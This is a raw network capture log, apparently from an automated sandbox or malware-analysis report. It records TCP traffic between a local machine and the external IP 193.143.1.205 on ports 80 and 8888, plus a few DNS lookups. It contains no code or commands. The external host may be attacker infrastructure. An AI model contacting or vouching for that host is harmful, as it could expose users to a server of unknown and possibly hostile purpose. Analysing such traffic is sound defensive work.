Jan 10, 2025 14:38:07.409233093 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.409285069 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.409295082 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.409303904 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.409313917 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.409316063 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.409344912 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.409401894 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.409414053 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.409423113 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.409431934 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.409432888 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.409444094 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.409455061 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.409459114 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.409482956 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.409486055 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.409513950 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.409619093 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.409641027 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.409651041 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.409667969 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.409720898 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.409730911 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.409740925 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.409749985 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.409768105 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.409840107 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.409849882 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.409859896 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.409871101 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.409881115 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.409888029 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.409892082 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.409914017 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.409929991 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.409935951 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.410006046 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.410015106 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.410027027 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.410033941 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.410037994 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.410049915 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.410057068 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.410073996 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.410396099 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.410408020 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.410418987 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.410428047 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.410438061 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.410448074 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.410453081 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.410459042 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.410476923 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.410542011 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.410551071 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.410561085 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.410574913 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.410574913 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.410586119 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.410587072 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.410595894 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.410605907 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.410615921 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.410624981 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.410626888 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.410635948 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.410675049 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.410729885 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.410742998 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.410752058 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.410778046 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.448079109 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.448101044 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.448117971 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.448128939 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.448143005 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.448157072 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.448179960 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.448190928 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.448209047 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.448220015 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.448235989 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.448240995 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.448251963 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.448262930 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.448276997 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.448296070 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.448334932 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.448337078 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.448337078 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.448347092 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.448383093 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.448385000 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.448396921 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.448417902 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.448419094 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.448430061 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.448463917 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.448484898 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.448518991 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.456693888 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.456712961 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.456721067 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.456767082 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.456805944 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.456816912 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.456826925 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.456831932 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.456885099 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.456895113 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.456949949 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.456952095 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.456952095 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.456952095 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.456959963 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.456969976 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.456979990 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.456988096 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.457005024 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.457099915 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.457114935 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.457125902 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.457134962 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.457140923 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.457164049 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.496931076 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.496954918 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.496973038 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.496983051 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.496993065 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.497006893 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.497023106 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.497039080 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.497045994 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.497092009 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.497118950 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.497128963 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.497149944 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.497152090 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.497178078 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.497246027 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.497256041 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.497267008 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.497277021 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.497286081 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.497288942 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.497318029 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.497361898 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.497395992 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.497431993 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.497442007 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.497471094 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.497504950 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.497514009 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.497524977 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.497534037 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.497559071 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.497601986 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.497612000 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.497648001 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.497678995 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.497689009 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.497730970 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.497801065 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.497811079 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.497822046 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.497843981 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.497884989 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.497895956 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.497905970 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.497915983 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.497915983 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.497929096 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.497934103 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.497961044 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.498114109 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.498125076 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.498135090 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.498143911 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.498155117 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.498163939 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.498172998 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.498173952 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.498184919 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.498197079 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.498197079 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.498234987 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.498410940 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.498420954 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.498430014 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.498439074 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.498446941 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.498449087 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.498460054 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.498470068 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.498471022 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.498481035 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.498492002 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.498497009 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.498502016 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.498513937 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.498517990 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.498528004 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.498528957 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.498553991 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.498732090 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.498769045 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.498780012 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.498790026 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.498822927 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.498835087 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.498846054 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.498856068 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.498866081 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.498883963 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.498903990 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.498970985 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.498980999 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.498986959 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.499025106 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.499129057 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.499139071 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.499149084 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.499155045 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.499164104 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.499166012 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.499176979 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.499187946 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.499191999 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.499198914 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.499217987 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.499376059 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.499387026 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.499397993 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.499407053 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.499409914 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.499413967 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.499424934 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.499439001 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.499463081 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.536844969 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.536870003 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.536881924 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.536891937 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.536926031 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.536933899 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.536936998 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.536951065 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.536961079 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.536972046 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.536979914 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.536983967 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.536999941 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.537020922 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.537086010 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.537097931 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.537107944 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.537117958 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.537118912 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.537131071 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.537144899 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.537170887 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.545382977 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.545413971 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.545424938 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.545460939 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.545485020 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.545494080 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.545526028 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.545547009 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.545558929 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.545569897 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.545583963 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.545609951 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.545676947 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.598088026 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.667895079 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.672779083 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.672813892 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.672825098 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.672910929 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.672919989 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.672930956 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.672936916 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.672992945 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.672992945 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.672992945 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.673041105 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.673051119 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.673062086 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.673075914 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.673100948 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.673136950 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.673147917 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.673157930 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.673167944 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.673178911 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.673190117 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.673191071 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.673218012 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.673346996 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.673357964 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.673368931 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.673379898 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.673399925 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.673422098 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.889308929 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:08.015902042 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:08.422599077 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:08.427608013 CET	8888	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:08.427681923 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:08.427849054 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:08.432779074 CET	8888	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:09.230165958 CET	8888	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:09.269925117 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:09.925976992 CET	49711	8888	192.168.2.6	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 14:38:15.762274027 CET	54619	53	192.168.2.6	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 14:38:15.762274027 CET	192.168.2.6	1.1.1.1	0xc4ed	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 14:38:15.771059990 CET	1.1.1.1	192.168.2.6	0xc4ed	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 14:38:16.500798941 CET	1.1.1.1	192.168.2.6	0xa0e9	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 14:38:16.500798941 CET	1.1.1.1	192.168.2.6	0xa0e9	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 14:39:45.447011948 CET	1.1.1.1	192.168.2.6	0x9ff2	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 14:39:45.447011948 CET	1.1.1.1	192.168.2.6	0x9ff2	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 14:40:09.532156944 CET	1.1.1.1	192.168.2.6	0xbe7c	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 14:40:09.532156944 CET	1.1.1.1	192.168.2.6	0xbe7c	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
